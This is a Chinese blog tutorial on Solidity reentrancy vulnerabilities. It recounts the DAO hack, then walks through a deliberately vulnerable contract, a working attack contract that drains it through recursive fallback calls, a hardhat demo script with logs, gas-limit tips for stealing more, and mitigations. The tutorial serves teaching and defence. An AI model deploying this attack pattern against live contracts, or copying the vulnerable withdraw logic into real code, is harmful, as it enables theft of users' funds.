前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >重入漏洞分析-基于hardhat、solidity0.8环境

重入漏洞分析-基于hardhat、solidity0.8环境

作者头像
Tiny熊
发布2022-11-07 09:53:59
3680
发布2022-11-07 09:53:59
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:小驹[1]

1. 重入漏洞简介

1.1 漏洞定义

重入,顾名思义是指重复进入,也就是“递归”的含义,本质是循环调用缺陷。重入漏洞(或者叫做重入攻击),是产生的根源是由于solidity智能合约的特性,这就导致许多不熟悉 solidity 语言的混迹于安全圈多年的安全人员看到“重入漏洞”这 4 个字时也都会一脸蒙圈,重入漏洞本质是一种循环调用,类似于其他语言中的死循环调用代码缺陷。

1.2 危害和利用难度

重入漏洞多数可以绕过代码的正常逻辑的执行,危害的究竟是可以导致拒绝服务还是可以导致代币丢失不能一概而论,更多取决于代码的编写逻辑相关,在区块链历史上,也产生过由于重入漏洞导致代币被盗的例子。

1.3 典型案例- The DAO 事件

DAO,英文全称是 Decentralized Autonomous Organization,翻译过来是“去中心化自治组织”,是 以太坊创始人 V 神提出的一个概念。它依靠智能合约在区块链上运行,代码表明一切的规则,code is god,可以简单理解为 web3 上的去中心化的公司。

The DAO 则是区块链公司 Slock.it[2] 发起的一个众筹项目,是当时的明星众筹项目。

在 2016 年 6 月 7 日,有黑客利用漏洞向一个匿名的地址转移走了项目众筹来的 360 万枚 ether ,不过幸运的是,当时 The DAO 有 28 日的锁定期,所以要到 7 月 4 日,黑客才能转移走盗来的 ether,这给了社区处理的时间。当时,Slock.it[3] 的首席技术官发表过一篇博文,他提出两点建议:

  1. 软分叉,即 V 神的提议。不过,这仅仅把 the DAO 的所有资产都冻结住,黑客与其它投资者均无法提现。
  2. 硬分叉。能把所有的资金都退回去,投资者不会有什么损失,而且不需要回滚。

对打硬分叉大家形城了分歧,主要有两种声音:

  • 反对派:认为去中心化是以太坊网络的使命,神圣不可侵犯,硬分叉也就意味着人为操纵,违背了初衷。
  • 支持派:要严厉惩戒黑客,其次通过硬分叉解决事件,不必借助外部的力量(比如监管机构)本身也是自治、去中心化的体现。

最终结果,两方谁都不服,形成两条链:一条为原链条 ETC,另一条为新的分叉链 ETH,各自代表不同的社区共识。

这个事件是以太坊历史上最大的事件。在这个事件里,黑客利用的漏洞就是重入攻击漏洞

2. 漏洞原理

为了更好地理解漏洞,需要有对 solidity 编程的基本的理解,主要关注下面两个前置知识:

  1. solidity 的转账函数
  2. fallback 回调

2.1 前置知识 1-solidity 的转账函数

😀 solidity转账函数有哪些?

我们先来了解 solidity 中能够转账的操作都有哪些?主要有 transfer,send,call.value()三个方法。

  1. transfer:转账出错会抛出异常后面代码不执行;
  2. send:转账出错不会抛出异常只返回 true/false 后面代码继续执行;
  3. call.value().gas()():这个函数是 send 函数的底层实现。转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击

在自己的合约代码中最推荐的函数是 transfer 函数,因为 transfer 在转账失败后会回滚交易。其次是 send 函数,send 函数是 transfer 的底层实现,在调用 send 时要自行判断 send 函数的返回值。最不推荐的是 call.value()函数,这个函数是 send 函数的底层实现。

另外一个区别在于:transfer 和 send 函数在调用时有 gas 限制,如果超过了 2300 gas 时,这两个函数就会返回。但 call.value()函数没有 Gas 限制,可以将整个交易中设置的 Gas 用光。

有兴趣的朋友,可以自行编写这三个函数的调用方法,在 remix 中看各个函数使用的 Gas used。

漏洞示例中就是使用了最不安全的 call.value()函数,导致如果调用合约时,传入的 Gas 够大,可以达到重入的御环代码可以运行很久。

2.2 前置知识 2-Fallback 函数(回退函数)的作用

首先我们要知道,转账是可以转钱到一个智能合约地址或者一个账户地址。这两个是有所区别的————Fallback 函数

Fallback 函数(也叫回调函数)的说明 合约可以有一个未命名的函数———Fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。 除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币。( 🥰🥰:没有 payable 的回调函数,合约不能收以太币) 在这样的上下文中,通常只有很少的 gas 可以用来完成这个函数调用(准确地说,是 2300 gas),所以使 fallback 函数的调用尽量廉价很重要。请注意,调用 fallback 函数的交易(而不是内部调用)所需的 gas 要高得多,因为每次交易都会额外收取 21000 gas 或更多的费用,用于签名检查等操作。

fallback 函数在下面三种情况下会调用:

  1. 调用合约不存在的函数
  2. 调用合约中的函数,但给定的函数参数的类型不对。
  3. 向合约转 ether 时。

下面的漏洞示例中就是因为向我们的攻击合约转了 ether,从而调用了我们攻击合约的回退函数,而攻击合约的回退函数又调用了原合约的 withdraw 函数,原合约的 withdraw 函数又调用转败给了攻击合约,从而又回调用攻击合约的回退函数,而攻击合约的回退函数又又调用了原合约的 withdraw 函数…………一个循环就此产生了。

那么请思考下这个循环会一直无限地执行下去吗?如果不会的话,什么时候这个循环才会停下呢?

答案是:不会的,当这笔交易的 Gas 用光时,循环就会暂停,交易就会结束,但是在结束之前,从原合约中的 ether 已经转走到攻击合约中了…

正是因为call.value()没有Gas限制fallback函数引起了重入这两者的结合,才导致下面演示漏洞中的 ether 的窃取。

3. 漏洞示例

3.1 演示代码

参考 ethernaut 中的漏洞合约。在 solidity 0.8 版本中进行代码重写与复现。

演示代码分为三部分,分别为:

  • Reentrance.sol,有漏洞的合约。
  • Attack.sol, 攻击者编写的攻击合约,用来利用漏洞。
  • reentrance.ts,在 hardhat 中编写的漏洞利用演示过程。
原始合约(有漏洞的合约):Reentrance.sol
代码语言:javascript
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SafeMath.sol";
import "hardhat/console.sol";
contract Reentrance {

  // using SafeMath for uint256;
  mapping(address => uint) public balances;

  function deposit() public payable {
    balances[msg.sender] = balances[msg.sender] + msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(address _to, uint _amount) payable public {
    require(balances[msg.sender] > _amount);
    require(address(this).balance > _amount);
    _to.call{value:_amount}("");
    unchecked {
      balances[msg.sender] -= _amount;
    }
    console.log("[RE withdraw]balance[%s]:%s" ,msg.sender , balances[msg.sender]);
  }

  receive() external payable {}
}
攻击合约:Attack.sol
代码语言:javascript
复制
// SPDX-License-Identifier: MIT
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Reentrance.sol";
import "hardhat/console.sol";
contract Attack {
    Reentrance reentrance;
    address public owner;
    uint public number;

    modifier ownerOnly(){
        require(msg.sender==owner);
        _;
    }
    fallback() external payable{
        if (msg.sender == address(reentrance)){
            number = number +1;
            console.log("[attack fallback] %s times called, attack_balance:%s , re_balance:%s ",
                        number,address(this).balance/(10**18), address(reentrance).balance/(10**18));

            reentrance.withdraw(address(this), msg.value);
        }
    }
    receive() external payable{
        if (msg.sender == address(reentrance)){
            number = number +1;
            console.log("[attack fallback] %s times called, attack_balance:%s , re_balance:%s ",
                        number,address(this).balance/(10**18), address(reentrance).balance/(10**18));

            reentrance.withdraw(address(this), msg.value);
        }
    }
    constructor() payable{
        owner = msg.sender;
    }

    function setVictim(Reentrance _victim) public ownerOnly {
        reentrance = _victim;
        // console.log("Attack setVictim is call");
    }
    function  startAttack(uint _amount) public ownerOnly {
        reentrance.deposit{value:_amount}();
        reentrance.withdraw(address(this), _amount/2);
    }

    function byebye() public {
        selfdestruct(payable(owner));
    }

}
演示攻击过程的自动化脚本 reentrance.ts
代码语言:javascript
复制
// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node <script>`.
//
// When running the script with `npx hardhat run <script>` you'll find the Hardhat
// Runtime Environment's members available in the global scope.
const hre = require("hardhat");
const { waffle } = require("hardhat");
import { Signer } from "ethers";

const ethers = hre.ethers;
async function main() {
    // 定义变量,user部署Reentrance合约,hacker部署Attack合约
    const provider = waffle.provider;
    let Reentrance, reentrance, Attack, attack;
    let user1: Signer;
    let hacker: Signer;

    // 取得两个用户账户,分别模拟user1, hacker
    [user1, hacker] = await ethers.getSigners();

    // 使用user1部署Reentrance合约
    Reentrance = await hre.ethers.getContractFactory("Reentrance", user1);
    reentrance = await Reentrance.deploy();
    await reentrance.deployed();

    // 使用hacker账户部署attack合约,在部署attack时,直接给attack充2个eth
    let overrides ={
        value: ethers.utils.parseEther("2"),
    }
    Attack = await hre.ethers.getContractFactory("Attack", hacker);
    attack = await Attack.deploy(overrides)
    await attack.deployed()


    // 打印user和hacker的地址,以及部署的Reentrance合约的地址和Attack合约的地址
    console.log("Contract Reentrance address:", reentrance.address);
    console.log("Contract Attack address:", attack.address);
    console.log('attack balance:%s', await ethers.utils.formatEther(await provider.getBalance(attack.address)));


    let tx = {
      from: await user1.getAddress(),
      to: reentrance.address,
      value: ethers.utils.parseEther("100")
    }
    await user1.sendTransaction(tx);

    console.log('reentrance balance:%s',await ethers.utils.formatEther(await provider.getBalance(reentrance.address)));


    console.log('---------模拟初始环境完成:--------\\n--------1. reentrance合约(%s)有 %s ETH \\n 2.hacker部署attack合约,hacker合约(%s)有 %s 个ETH\\n----------------------',
                reentrance.address,
                await ethers.utils.formatEther(await provider.getBalance(reentrance.address)),
                attack.address,
                await ethers.utils.formatEther(await provider.getBalance(attack.address))
              );

    console.log('下面模拟攻击过程,调用attack的startAttack方法');

    await attack.connect(hacker).setVictim(reentrance.address);
    await attack.connect(hacker).startAttack(await ethers.utils.parseEther("1"));

    console.log("******************攻击完成后,各账户的余额******************");
    console.log('reentrance contract balance : %s', await ethers.utils.formatEther(await provider.getBalance(reentrance.address)));
    console.log('attack contract balance : %s', await ethers.utils.formatEther(await provider.getBalance(attack.address)));
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });
演示过程详解:
  1. 使用user1账户部署原始Reentrance合约
  2. 使用hacker账户模拟攻击者,部署攻击Attack合约。在部署的同事向 Attack 合约中存入一部分 Ether(这里存了 2 eth)。
  3. 使用user1账户,向Reentrance合约中存入 ether,这里存入了 100 eth.
  4. 使用hacker账户发起攻击,通过调用 Attack 合约中的setVictim方法和startAttack方法。
  5. 攻击结束,Reentrance合约中的 Ether,被窃取到 hacker 部署的 Attack 合约中了。

注意区分 4 个角色:外部账户user1外部账户hackerReentrance合约Attack合约。(我记得我初学时,在这 4 个角色中混淆了好久 🤪)上面的 A,B 账户是指外部账户,最终的攻击结果是 B 账户窃取了Reentrance合约中的 Ether。

演示结果:

执行时的打印的日志如下:

  1. 最终 attack 窃取了 18 个 ether ,如果想要窃取更多地 ether,需要加大 gas 费。在下面的注意事项章节有详细描述。
  2. 打印出来的日志中循环多次地调用了 attack 合约的 fallback 函数,每次调用到 fallback 时,原始的Reentrance合约 就会被窃取一次 ETH,这是重入的标志之一。
代码语言:javascript
复制
Contract Reentrance address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Contract Attack address: 0x8464135c8F25Da09e49BC8782676a84730C318bC
attack balance:2.0
reentrance balance:100.0
---------模拟初始环境完成:--------
--------1. reentrance合约(0x5FbDB2315678afecb367f032d93F642f64180aa3)有 100.0 ETH
 2.hacker部署attack合约,hacker合约(0x8464135c8F25Da09e49BC8782676a84730C318bC)有 2.0 个ETH
----------------------
下面模拟攻击过程,调用attack的startAttack方法
[attack fallback] 1 times called, attack_balance:1 , re_balance:100
[attack fallback] 2 times called, attack_balance:2 , re_balance:100
[attack fallback] 3 times called, attack_balance:2 , re_balance:99
…………………………
[attack fallback] 57 times called, attack_balance:29 , re_balance:72
[attack fallback] 58 times called, attack_balance:30 , re_balance:72
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039457084007913129639936
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039456584007913129639936
…………………………
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039439084007913129639936
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039438584007913129639936
******************攻击完成后,各账户的余额******************
reentrance contract balance : 81.5
attack contract balance : 20.5

3.2 复现时的注意事项

如果演示中遇到问题,可能出现在下面的地方。

solidity 版本问题。因为我们使用的是pragma solidity ^0.8.0; ,在这个版本中,如果发生溢出,会导致交易失败,抛出异常。所以为了排除溢出的影响,在代码中使用uncheck{}使代码检查溢出。

😀 在Solidity 0.8.0之前,算术运算总是会在发生溢出的情况下进行“截断”,从而得靠引入额外检查库来解决这个问题(如 OpenZepplin 的 SafeMath)。而从Solidity 0.8.0开始,所有的算术运算默认就会进行溢出检查,额外引入库将不再必要。

基于上面的原因在Reentrance.sol 演示合约中,使用了下面的代码,

代码语言:javascript
复制
unchecked {
      balances[msg.sender] -= _amount;
    }

如果不使用 uncheck{}检查的话,如果 gas 特别大,足够跑完所有的重入代码,会导致回滚,从而无法窃取到。如果 gas 一般大,跑完部分的重入代码的话,可以窃取部分 ETH。

gas 问题。在hardhat.config.ts module.exports 处的 networks 的配置中 hardhat 网络(也就是 hardhat 默认启动的网络)中通过 blockGasLimit 设置 gasLimit 内容。在 gasLimit 比较小的时候,gas 费用只够执行很少次的”重入”,会导致 attack 合约只能窃取到少量的 eth。如果在测试时,遇到 attck 合约无法窃取或者窃取的 eth 很少的情况下,请加大 gasLimit 的设置。如:在 blockGasLimit 为1_000_000时,攻击结果如下:此时,重入代码一次都没有得到执行,attck 合约没有窃取到任何的 ETH。

在 blockGasLimit 为10_000_000时,攻击结果如下:此时,重入代码得到部分执行,attck 合约没有窃取到大约 40 个(attck 合约在攻击后有 42.5eth, 攻击前有 2eth,有 40.5 个是从 reentrance 合约中窃取的)的 ETH。

在 blockGasLimit 为400_000_000时,攻击结果如下:此时窃取了大约 100 个 ETH,基本上把 reentrance 掏空了。

4. 安全建议

重入漏洞的原因无外乎第一是由于程序不够健壮。第二是 solidity 的 fallback 的机制。为了避免重入漏洞,围绕着上述两点,给出下列的安全建议:

  1. 在转账时使用 lock 等方式进行锁定。如定义一个 bool locked = false;的状态变量,在转账前检查 locked 状态变量,在转账后设置 locked 状态变量。
  2. 先修改代币的状态,再进行转账。如先操作 balances 的-=操作,再调用转账 eth 的操作。
  3. 尽量不使用 call 这类的底层调用,而是使用 transfer。因为 transfer 有 gas 限制。

5. 参考:

https://lalajun.github.io/2018/08/29/智能合约安全-重入攻击/ https://ethereum.org/zh/history/

参考资料

[1]

小驹: https://learnblockchain.cn/people/9625

[2]

则是区块链公司Slock.it: http://xn--Slock-lq5hk4bc4d55bswqis6bsn3i.it

[3]

Slock.it: http://Slock.it

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 重入漏洞简介
    • 1.1 漏洞定义
      • 1.2 危害和利用难度
        • 1.3 典型案例- The DAO 事件
        • 2. 漏洞原理
          • 2.1 前置知识 1-solidity 的转账函数
            • 2.2 前置知识 2-Fallback 函数(回退函数)的作用
            • 3. 漏洞示例
              • 3.1 演示代码
                • 原始合约(有漏洞的合约):Reentrance.sol
                • 攻击合约:Attack.sol
                • 演示攻击过程的自动化脚本 reentrance.ts
                • 演示过程详解:
                • 演示结果:
              • 3.2 复现时的注意事项
              • 4. 安全建议
              • 5. 参考:
                • 参考资料
                相关产品与服务
                区块链
                云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档